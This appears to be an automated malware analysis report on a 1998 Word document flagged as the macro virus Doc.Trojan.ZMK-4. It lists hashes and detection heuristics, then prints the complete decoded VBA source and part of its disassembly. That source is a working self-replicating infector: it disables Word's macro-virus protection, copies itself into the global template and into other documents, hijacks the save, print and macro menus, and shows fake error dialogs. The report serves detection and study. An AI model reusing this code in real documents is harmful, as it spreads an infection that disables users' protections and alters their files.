Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 547bfe430a6d0c36…

MALICIOUS

Office (OLE)

84.0 KB Created: 1998-03-27 14:32:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 42d2bf512fa595c890536838394a84a4 SHA-1: 498da24e5cd6cc8b3277ab634c21cddf546c04de SHA-256: 547bfe430a6d0c36e070e853bed500cf454ec0136363391b4040cbbc930a6696
248 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is identified as malicious by ClamAV with the signature Doc.Trojan.ZMK-4. It contains legacy WordBasic macro markers and VBA macros, including an AutoOpen macro, indicating it is designed to spread and execute malicious functions. The AutoExec subroutine attempts to disable macro security and execute its payload, suggesting it acts as a macro-based downloader or infector.

Heuristics 5

  • ClamAV: Doc.Trojan.ZMK-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.ZMK-4
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 73044 bytes
SHA-256: 8efd59600e236ef182d0d2f70cd53a885144440fb5634b46a151ba755542907e
Detection
ClamAV: Doc.Trojan.ZMK-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "MultiVirus"
Sub AutoExec()
Attribute AutoExec.VB_Description = "Macro créée par ZeMacroKiller98"
Attribute AutoExec.VB_ProcData.VB_Invoke_Func = "Virus.MultiVirus.AutoExec"
' WM.Clock
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo errorAE
Dim MyDate, MyTime, PauseTime, Start, Finish, TotalTime
MyDate = Date
D$ = Mid(MyDate, 1, 2)
MyTime = Time
If D$ = "25" Then
    MsgBox "Il est " & MyTime, Title:="Clock"
Clock:
    PauseTime = 120
    Start = Timer
    Do While Timer < Start + PauseTime
        DoEvents
    Loop
    Finish = Timer
    TotalTime = Finish - Start
    MsgBox "Il est " & MyTime, Title:="Clock"
GoTo Clock
Else
    End
End If
errorAE:
End Sub
Sub AutoNew()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorAN
Dim MyDate
MyDate = Date
D1$ = Mid(MyDate, 1, 2)
If (D1$ = "2") Or (D1$ = "7") Or (D1$ = "11") Or (D1$ = "12") Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="MultiVirus", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="UserForm900", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="UserForm999", Object:=wdOrganizerObjectProjectItems
    With Dialogs(wdDialogFileSummaryInfo)
        .Subject = "You Have been infected by the Alliance 98"
        .Execute
    End With
End If
ErrorAN:
End Sub
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Macro créée ZeMacroKiller98"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Virus.MultiVirus.AutoOpen"
'
' AutoOpen Macro
'
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorAO
Dim MyDate, MyTime, MyWeek, NbreCarac, NomFichier
MyDate = Date
D$ = Mid(MyDate, 1, 5)
D1$ = Mid(MyDate, 1, 2)
MyWeek = WeekDay(MyDate, vbMonday)
NomFichier = ActiveDocument.Name
NbreCarac = Len(NomFichier)
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
    If WordBasic.[MacroName$](i, 0) = "MultiVirus" Then
        bInstalled = -1
    End If
Next i
' WM.Concept
If Not bInstalled Then
    MsgBox "1"
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="MultiVirus", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm900", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="UserForm999", Object:=wdOrganizerObjectProjectItems
Else
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="MultiVirus", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="UserForm900", Object:=wdOrganizerObjectProjectItems
    Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="UserForm999", Object:=wdOrganizerObjectProjectItems
End If
' WM.Alien
If D$ = "01/08" Then
    MsgBox "Hides the program manager", vbCritical, "Another Year of Survival..."
End If
If MyWeek = "7" Then
    MsgBox "Closes current file", vbCritical, "It's Sunday & I intend to relax!"
End If
If NomFichier < 9 Then
    MsgBox "", Title:="Longer File Names Should Be Used"
End If
'WM.Alliance
If (D1$ = "2") Or (D1$ = "7") Or (D1$ = "11") Or (D1$ = "12") Then
    With Dialogs(wdDialogFileSummaryInfo)
        .Subject = "You Have been infected by the Alliance 98"
        .Execute
    End With
End If
'WM.Npad.A
WOpen$ = WordBasic.[GetPrivateProfileString$]("Microsoft Word", "Compteur", "Winword8.ini")
Sales = WordBasic.Val(WOpen$) + 1
WordBasic.SetPrivateProfileString "Microsoft Word", "Compteur", Str(Sales), "Winword8.ini"
WOpen$ = WordBasic.[GetPrivateProfileString$]("Microsoft Word", "Compteur", "Winword8.ini")
If WOpen$ = 23 Then
    StatusBar = "                                                                                                                                               DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                                                           DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                                                       DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                                                   DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                                               DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                                           DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                                       DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                                   DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                               DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                           DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                       DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                   DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                               DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                           DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                       DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                   DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                               DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                           DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                       DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                   DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                               DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                           DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                       DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                   DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                               DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                           DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                       DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                   DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                               DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                           DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                       DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                   DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "               DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "           DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "       DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "   DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "   DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "       DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "           DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "               DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                   DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                       DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                           DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                               DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                   DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                       DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                           DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                               DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                   DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                       DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                           DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                               DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                   DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                       DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                           DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                               DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                   DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                       DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                           DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                               DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                   DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                       DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                           DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                               DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                                   DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                                       DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                                           DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                                               DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                                                   DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                                                       DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                                                           DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
    StatusBar = "                                                                                                                                               DOEUNPAD98, V3.0,(c) Maret 1998"
    For i = 1 To 400000
    Next i
WordBasic.SetPrivateProfileString "Microsoft Word", "Compteur", "1", "Winword8.ini"
End If
ErrorAO:
End Sub
Sub FileSaveAs()
Attribute FileSaveAs.VB_Description = "Macro créee par ZeMacroKiller98"
Attribute FileSaveAs.VB_ProcData.VB_Invoke_Func = "Virus.MultiVirus.FileSaveAs"
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFSA
    Dialogs(wdDialogFileSaveAs).Show
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="MultiVirus", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="UserForm900", Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="UserForm999", Object:=wdOrganizerObjectProjectItems
ActiveDocument.Save
ErrorFSA:
If (ActiveDocument.SaveFormat = wdFormatDocument) Or (ActiveDocument.SaveFormat = wdFormatTemplate) Then
    ActiveDocument.SaveAs FileFormat:=wdFormatTemplate
End If
End Sub
Sub FilePrint()
Attribute FilePrint.VB_Description = "Macro crée par ZeMacroKiller98"
Attribute FilePrint.VB_ProcData.VB_Invoke_Func = "Virus.MultiVirus.FilePrint"
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFP
InsertPayload
    Dialogs(wdDialogFilePrint).Show
ErrorFP:
End Sub
Sub FilePrintDefault()
Attribute FilePrintDefault.VB_Description = "Macro créee par ZeMacroKiller98"
Attribute FilePrintDefault.VB_ProcData.VB_Invoke_Func = "Virus.MultiVirus.FilePrintDefault"
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFPD
InsertPayload
    ActiveDocument.PrintOut
ErrorFPD:
End Sub
Sub FileTemplates()
Attribute FileTemplates.VB_Description = "Macro créee par ZeMacroKiller98"
Attribute FileTemplates.VB_ProcData.VB_Invoke_Func = "Virus.MultiVirus.FileTemplates"
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorFT
    UserForm900.Show
ErrorFT:
End Sub
Sub InsertPayload()
Attribute InsertPayload.VB_Description = "Macro créee par ZeMacroKiller98"
Attribute InsertPayload.VB_ProcData.VB_Invoke_Func = "Virus.MultiVirus.InsertPayload"
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorIP
Dim WPrint$, Adding
WPrint$ = WordBasic.[GetPrivateProfileString$]("Microsoft Word", "NbrePrint", "Nuclear98.ini")
Adding = WordBasic.Val(WPrint$) + 1
WordBasic.SetPrivateProfileString "Microsoft Word", "NbrePrint", Str(Adding), "Nuclear98.ini"
WPrint$ = WordBasic.[GetPrivateProfileString$]("Microsoft Word", "NbrePrint", "Nuclear98.ini")
If WPrint$ = 12 Then
    Selection.EndKey Unit:=wdLine
    Selection.TypeParagraph
    Selection.TypeText Text:="And finally i would like to say"
    Selection.TypeParagraph
    Selection.TypeParagraph
    Selection.TypeText Text:="STOP ALL FRENCH NUCLEAR TESTING IN THE PACIFIC!"
    Selection.HomeKey Unit:=wdLine
    Selection.EndKey Unit:=wdLine, Extend:=wdExtend
    Selection.Font.Bold = wdToggle
    WordBasic.SetPrivateProfileString "Microsoft Word", "NbrePrint", "1", "Nuclear98.ini"
End If
ErrorIP:
End Sub
Sub ToolsMacro()
Attribute ToolsMacro.VB_Description = "Macro créee par ZeMacroKiller98"
Attribute ToolsMacro.VB_ProcData.VB_Invoke_Func = "Virus.MultiVirus.ToolsMacro"
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorTM
    UserForm999.Show
ErrorTM:
End Sub
Sub ViewVBCode()
Attribute ViewVBCode.VB_Description = "Macro créee par ZeMacroKiller98"
Attribute ViewVBCode.VB_ProcData.VB_Invoke_Func = "Virus.MultiVirus.ViewVBCode"
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
On Error GoTo ErrorVVBC
    MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, Title:="Microsoft Word"
ErrorVVBC:
End Sub

Attribute VB_Name = "UserForm900"
Attribute VB_Base = "0{0F0D2997-C588-11D1-82AD-8C6705C10000}{0F0D2987-C588-11D1-82AD-8C6705C10000}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False




Private Sub CommandButton1_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, Title:="Microsoft Word"
Unload UserForm900
End Sub

Private Sub CommandButton2_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, Title:="Microsoft Word"
Unload UserForm900
End Sub

Private Sub CommandButton3_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, Title:="Microsoft Word"
Unload UserForm900
End Sub

Private Sub CommandButton4_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, Title:="Microsoft Word"
Unload UserForm900
End Sub

Private Sub CommandButton5_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, Title:="Microsoft Word"
Unload UserForm900
End Sub

Private Sub CommandButton6_Click()
Unload UserForm900
End Sub

Private Sub UserForm_Initialize()
    TextBox1.Text = NormalTemplate.Name
    CommandButton2.Enabled = False
    CommandButton3.Enabled = False
    CommandButton4.Enabled = False
End Sub

Attribute VB_Name = "UserForm999"
Attribute VB_Base = "0{0F0D29B0-C588-11D1-82AD-8C6705C10000}{0F0D2991-C588-11D1-82AD-8C6705C10000}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False








Private Sub ListBox1_Click()
    If ListBox1.Selected(0) = True Then
        CommandButton1.Enabled = True
        CommandButton3.Enabled = True
        CommandButton4.Enabled = True
        CommandButton6.Enabled = True
    ElseIf ListBox1.Selected(1) = True Then
        CommandButton1.Enabled = True
        CommandButton3.Enabled = True
        CommandButton4.Enabled = True
        CommandButton6.Enabled = True
    Else
        CommandButton1.Enabled = False
        CommandButton3.Enabled = False
        CommandButton4.Enabled = False
        CommandButton6.Enabled = False
    End If
End Sub

Private Sub UserForm_Initialize()
    ComboBox1.AddItem "Commande Word"
    ComboBox1.AddItem "Tous les modèles actifs"
    ComboBox1.AddItem "Normal.dot (modèle global)"
    ComboBox1.AddItem WordBasic.WindowName$()
    CommandButton1.Enabled = False
    CommandButton3.Enabled = False
    TextBox2.Text = "Macro créée le " & Date & " par " & Application.UserName
End Sub

Private Sub CommandButton1_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub
Private Sub CommandButton2_Click()
Unload UserForm999
End Sub

Private Sub CommandButton3_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub

Private Sub CommandButton4_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub

Private Sub CommandButton5_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub

Private Sub CommandButton6_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub

Private Sub CommandButton7_Click()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub
Private Sub ScrollBar1_Change()
MsgBox "Ce programme a réalisé une opération illégale et va être interrompu.", vbCritical, "Microsoft Word"
Unload UserForm999
End Sub


' Processing file: /tmp/qstore_zwwc2g5h
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/MultiVirus - 28619 bytes
' Line #0:
' 	FuncDefn (Sub AutoExec())
' Line #1:
' 	QuoteRem 0x0000 0x0009 " WM.Clock"
' Line #2:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #3:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #4:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #5:
' 	OnError errorAE 
' Line #6:
' 	Dim 
' 	VarDefn MyDate
' 	VarDefn MyTime
' 	VarDefn PauseTime
' 	VarDefn Start
' 	VarDefn Finish
' 	VarDefn TotalTime
' Line #7:
' 	Ld Date 
' 	St MyDate 
' Line #8:
' 	Ld MyDate 
' 	LitDI2 0x0001 
' 	LitDI2 0x0002 
' 	ArgsLd Mid$ 0x0003 
' 	St D$ 
' Line #9:
' 	Ld Time 
' 	St MyTime 
' Line #10:
' 	Ld D$ 
' 	LitStr 0x0002 "25"
' 	Eq 
' 	IfBlock 
' Line #11:
' 	LitStr 0x0007 "Il est "
' 	Ld MyTime 
' 	Concat 
' 	LitStr 0x0005 "Clock"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0002 
' Line #12:
' 	Label Clock 
' Line #13:
' 	LitDI2 0x0078 
' 	St PauseTime 
' Line #14:
' 	Ld Timer 
' 	St Start 
' Line #15:
' 	Ld Timer 
' 	Ld Start 
' 	Ld PauseTime 
' 	Add 
' 	Lt 
' 	DoWhile 
' Line #16:
' 	ArgsCall DoEvents 0x0000 
' Line #17:
' 	Loop 
' Line #18:
' 	Ld Timer 
' 	St Finish 
' Line #19:
' 	Ld Finish 
' 	Ld Start 
' 	Sub 
' 	St TotalTime 
' Line #20:
' 	LitStr 0x0007 "Il est "
' 	Ld MyTime 
' 	Concat 
' 	LitStr 0x0005 "Clock"
' 	ParamNamed Title 
' 	ArgsCall MsgBox 0x0002 
' Line #21:
' 	GoTo Clock 
' Line #22:
' 	ElseBlock 
' Line #23:
' 	End 
' Line #24:
' 	EndIfBlock 
' Line #25:
' 	Label errorAE 
' Line #26:
' 	EndSub 
' Line #27:
' 	FuncDefn (Sub AutoNew())
' Line #28:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #29:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #30:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #31:
' 	OnError ErrorAN 
' Line #32:
' 	Dim 
' 	VarDefn MyDate
' Line #33:
' 	Ld Date 
' 	St MyDate 
' Line #34:
' 	Ld MyDate 
' 	LitDI2 0x0001 
' 	LitDI2 0x0002 
' 	ArgsLd Mid$ 0x0003 
' 	St D1$ 
' Line #35:
' 	Ld D1$ 
' 	LitStr 0x0001 "2"
' 	Eq 
' 	Paren 
' 	Ld D1$ 
' 	LitStr 0x0001 "7"
' 	Eq 
' 	Paren 
' 	Or 
' 	Ld D1$ 
' 	LitStr 0x0002 "11"
' 	Eq 
' 	Paren 
' 	Or 
' 	Ld D1$ 
' 	LitStr 0x0002 "12"
' 	Eq 
' 	Paren 
' 	Or 
' 	IfBlock 
' Line #36:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000A "MultiVirus"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #37:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000B "UserForm900"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #38:
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	LitStr 0x000B "UserForm999"
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #39:
' 	StartWithExpr 
' 	Ld wdDialogFileSummaryInfo 
' 	ArgsLd Dialogs 0x0001 
' 	With 
' Line #40:
' 	LitStr 0x0029 "You Have been infected by the Alliance 98"
' 	MemStWith Subject 
' Line #41:
' 	ArgsMemCallWith Execute 0x0000 
' Line #42:
' 	EndWith 
' Line #43:
' 	EndIfBlock 
' Line #44:
' 	Label ErrorAN 
' Line #45:
' 	EndSub 
' Line #46:
' 	FuncDefn (Sub AutoOpen())
' Line #47:
' 	QuoteRem 0x0000 0x0000 ""
' Line #48:
' 	QuoteRem 0x0000 0x000F " AutoOpen Macro"
' Line #49:
' 	QuoteRem 0x0000 0x0000 ""
' Line #50:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #51:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall DisableAutoMacros 0x0001 
' Line #52:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #53:
' 	OnError ErrorAO 
' Line #54:
' 	Dim 
' 	VarDefn MyDate
' 	VarDefn MyTime
' 	VarDefn MyWeek
' 	VarDefn NbreCarac
' 	VarDefn NomFichier
' Line #55:
' 	Ld Date 
' 	St MyDate 
' Line #56:
' 	Ld MyDate 
' 	LitDI2 0x0001 
' 	LitDI2 0x0005 
' 	ArgsLd Mid$ 0x0003 
' 	St D$ 
' Line #57:
' 	Ld MyDate 
' 	LitDI2 0x0001 
' 	LitDI2 0x0002 
' 	ArgsLd Mid$ 0x0003 
' 	St D1$ 
' Line #58:
' 	Ld MyDate 
' 	Ld vbMonday 
' 	ArgsLd WeekDay 0x0002 
' 	St MyWeek 
' Line #59:
' 	Ld ActiveDocument 
' 	MemLd New 
' 	St NomFichier 
' Line #60:
' 	Ld NomFichier 
' 	FnLen 
' 	St NbreCarac 
' Line #61:
' 	LitDI2 0x0000 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0002 
' 	St iMacroCount 
